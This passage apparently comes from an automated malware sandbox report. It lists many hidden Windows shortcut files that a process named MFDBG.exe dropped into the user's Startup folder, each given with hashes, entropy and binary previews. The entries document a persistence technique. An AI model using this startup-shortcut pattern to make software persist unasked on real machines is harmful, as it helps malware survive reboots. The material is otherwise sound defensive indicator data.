Preview:	L..................F...."...]W%.{....D..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46a2f31c4c214857ab38d5a61176ba72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933741637896069
Encrypted:	false
SSDEEP:	24:8ahBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QU0R6rMhpBoUBxdRd1nYyg
MD5:	3A3550663B6DDB91FC27AFE8E114939E
SHA1:	AA2DCC1804EC5D7A892EE605B1E4EB9CA33ADBF3
SHA-256:	90D600CAC26E9CA96A2EB8AD5DBB6EF2A1D871F1994513ABCF75606324BAC134
SHA-512:	B357B1A06D89017697A7CD3DAF6963AB0AA866623F20ED03211D09A6C6DE6CC6C3A453687B5E56B3B921B6B75B7C911E49E37808CDA49B46E3888C4E01B70697
Malicious:	false
Preview:	L..................F...."...]W%.{....N..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46a771c4c8d3471c975dc3a261b87b83.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938685400184096
Encrypted:	false
SSDEEP:	24:80hBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82s0R6rMhpBoUBxdRd1nYyg
MD5:	E950E5BBB4C892656F51839F70591ADE
SHA1:	B43971E3B8B90FE394E9C28BD9AC60576E5955AE
SHA-256:	01A6C0BE9CF48477BC02D6655138164E8097CD53DA233BCF4B75B61969112DA2
SHA-512:	159154D7E1007A6AE9FB3DAB3E640AC0EB3C517FAC35D269140F7A6DB4EC3025F682414B073C7EBB9EA2CB58C433DD40D144CF3347A63926078FB9E23D4E459C
Malicious:	false
Preview:	L..................F...."...]W%.{....}J.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46c05e2359c142b2ba198218252e8236.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931510740120175
Encrypted:	false
SSDEEP:	24:8zhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Hud0R6rMhpBoUBxdRd1nYyg
MD5:	8A1F69FFA0F643F5B9ED2D1DE6158F90
SHA1:	A9B37D119553754E615C4021843B24EC662F7DB0
SHA-256:	A38A91C218C77FE90B77A2B078EED1D0DE3D026D2E0D3BC959AABA2B6E011F4C
SHA-512:	179820830007D2ABF4B085A9194E7EB1CE227C3DD9572185DFE8B35CCE0962C8575E3E8D9E6EA62591ACF8B5DC292A333BDE86A15216A094545B7EDB69857F16
Malicious:	false
Preview:	L..................F...."...]W%.{...3<'.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_475acb4d40b5484daa69ad5b975ccf21.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943539827500683
Encrypted:	false
SSDEEP:	24:8YlhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ke0R6rMhpBoUBxdRd1nYyg
MD5:	DD051A509A47C94BF984ACD390808597
SHA1:	FBC867F2B255A86287ADBC91343B2E389937ABAE
SHA-256:	980DD79A2C3ACF3F923A83CAE159CF358C1E2E23BC09A4BF856E5C2BB5711D59
SHA-512:	8AFE2CF903C7BBF16A8A58A74E61D8A35935B0E9AB34A40D51830398CF4A86A113F9DB4661CC12F7E73F74DA90F348C0CF4C850A7F6F484BB6145F505031836C
Malicious:	false
Preview:	L..................F...."...]W%.{...F..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4799d32c96864483a1e7fc31fc1f989a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937560658003273
Encrypted:	false
SSDEEP:	24:8YhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8630R6rMhpBoUBxdRd1nYyg
MD5:	18723DA8C64AB02B3B5501C4ED9E6EBF
SHA1:	C386B20D70FB8ED3733BEBF19C5BF7938CDCE543
SHA-256:	6A0BD540671B230ED961B3D3D700261CCEDFEAA0166F43BA031F5B3B7FF9BF2E
SHA-512:	2C11AAE111C84E7B2932C75EAB544071B2EFEAE8335038FD125BD408E6F9F8418FE454FB39C665A06BED4F6953FF04C5ACEBA4E7EE88031FAEFE789215ED2560
Malicious:	false
Preview:	L..................F...."...]W%.{...../.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_47c5ef22bb674020bbb61448020c57ff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939076684175792
Encrypted:	false
SSDEEP:	24:8QhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8C60R6rMhpBoUBxdRd1nYyg
MD5:	06494EAC3667C3190C64C47D9ECB01F3
SHA1:	3F3B95265B5A4C7D0C37093E3F5F67DE115C000B
SHA-256:	3A1D03D127396BE23181313C941E2C2AA88999F44F61CED1A0F4E9BA02869516
SHA-512:	60C7CEF46A94709259C4FE49AE0EDB4C37F1A26AEC569B8A586A962ECE0E7495D1FF915126F1C2A4780715B526405587C542456516B108E075875A7284CB7982
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_47e6fc079af140e79ff89b807fe7c360.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.946037155127236
Encrypted:	false
SSDEEP:	24:8UhBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WaF0R6rMhpBoUBxdRd1nYyg
MD5:	3A22629FCE7AC32D39A8AAF7B9E30544
SHA1:	F5A90EB652729F432C3AC48052FFE093E385374C
SHA-256:	6D563E116B948B042357E8ABEF058FB11B6FA554E481D77B05AD4970190A64CC
SHA-512:	FA268BE189795C2DFAA2B9C9E9BE05DC57CBE4BCBE65D2FE05A057C12F7A6A9270C35CB389B6957C0633C84ADF5223F1443DCEB1D14DA005DA2183C2AC578C3A
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_47f185b2362f469682db6306b54012ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935524728336674
Encrypted:	false
SSDEEP:	24:8QhBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CnQ0R6rMhpBoUBxdRd1nYyg
MD5:	7E5299DADBC178A083F5F307C6A7E114
SHA1:	05627C9AE88FACA928DED456324FD4183F6BFFE8
SHA-256:	0EB20AF7DC034A83ED71BEF35EEE31665BE6595B9229BF75647B9DF52C5DC0D7
SHA-512:	D335B2DFEB51FA44E58975F64D50B56D577F93CFE096526363ED75C2E8F30DEEA142E8AE8E1ABB11EBC78589BF7DA48A1F0869930E9A0D38E8D023064F89B1F1
Malicious:	false
Preview:	L..................F...."...]W%.{....Ep.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@.J.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4812d8eb33b04341a94bb53de1ac1772.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936302693633546
Encrypted:	false
SSDEEP:	24:8vhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8z/0R6rMhpBoUBxdRd1nYyg
MD5:	18EAAC5ECEA906C1A0787648564E3CBA
SHA1:	EE9091616AA416693137CA2D72A37245D62D6597
SHA-256:	12775B09260B8BD55B107768BA8526F04993252C6EED6A7AA1BDA12776A17C6A
SHA-512:	7671AF47F67B9E5801D697F60778F18CEA83351219B901E257A694B5903CF449CD8AC422B1FAF94EA8572E62D7071D242FC90C582C562E33DD2C7ED09BA34722
Malicious:	false
Preview:	L..................F...."...]W%.{...\.y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_482bf924df284469a8476f6ee4d58634.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149758
Encrypted:	false
SSDEEP:	24:8WhBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:888c0R6rMhpBoUBxdRd1nYyg
MD5:	F9209999782767F545DC552A094A8064
SHA1:	0FD7AB04A3FCD2E5C6237C987FE8DA3BF6991D18
SHA-256:	AF5C9EA54A15CD7FE301773004E28914CF3D79E3D3EF11844FB71CE1A80F5486
SHA-512:	FEFD146C14A2BCA33B52BA33FFF6DE1F50689524226292E664FB7FD6CA29C02BA7CE5ADF086CAEFA0449DDFEA5C6A917E11F554624D354859E5A7610B8C579B7
Malicious:	false
Preview:	L..................F...."...]W%.{....A..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4863839fb5c944fda4b11b39c8b4f1dd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943178025173194
Encrypted:	false
SSDEEP:	24:8chBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8uV0R6rMhpBoUBxdRd1nYyg
MD5:	AAF3C785CAE78E3E0EF4C905837F1154
SHA1:	056A61ABFA432033D8D126150605B01B42E9A870
SHA-256:	CCAD71221679012E6A03F395272F4A7C437EEE942FA95B69E214F34F5F896E7C
SHA-512:	3BBB4086609A60294D332F41B20E7FB83C2F7FBE98C9883572CE6C7351C7259FA49F8CA31FEBEA01F6D64AE63E82721FFE2F9B3619BADA1F578C34373FF260DB
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Us..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_48bfc0d991f94d28a7a87023e67414c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9315822018615405
Encrypted:	false
SSDEEP:	24:8CvhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CzR0R6rMhpBoUBxdRd1nYyg
MD5:	1AD4EDF31A3E6A1CD55D76948E118090
SHA1:	18677A346C8D55EC3BDE2CCAE9D13D668EB9712B
SHA-256:	B3AC95F6F72581D81C73FBEA85EB39B708ECABA4975CE4157977FCA00CFFDA22
SHA-512:	501021FE21DE5ABBE3F2AF49960087B51F69D08A09CBA72FDE7FB7BE014F2BB7EB8577CC97A9A4BE74E56C11FB88E38897E12C0B5BC337A3BA5F23884D998DC6
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_494d880ee33744e88ff8d364a6bc5245.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94118272781065
Encrypted:	false
SSDEEP:	24:8YhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86p0R6rMhpBoUBxdRd1nYyg
MD5:	587F024B363254974D62EDAF5EA7F22F
SHA1:	28250C6E344308A483660F81AC434A3877C9F275
SHA-256:	217D32F1A18FD7B3A0903B990EB6C9DBF5A98D713AD53C3FFEC2D29F92E10AB6
SHA-512:	1B6C5F264E2CFBF5A68A099CD742538F0D2F8949B96CE4402F30EBB24A63DFD2B7A4FF37684BCBFCDE4BDE82818137B45B645A4361BDAA8D15AF485ABB9798F3
Malicious:	false
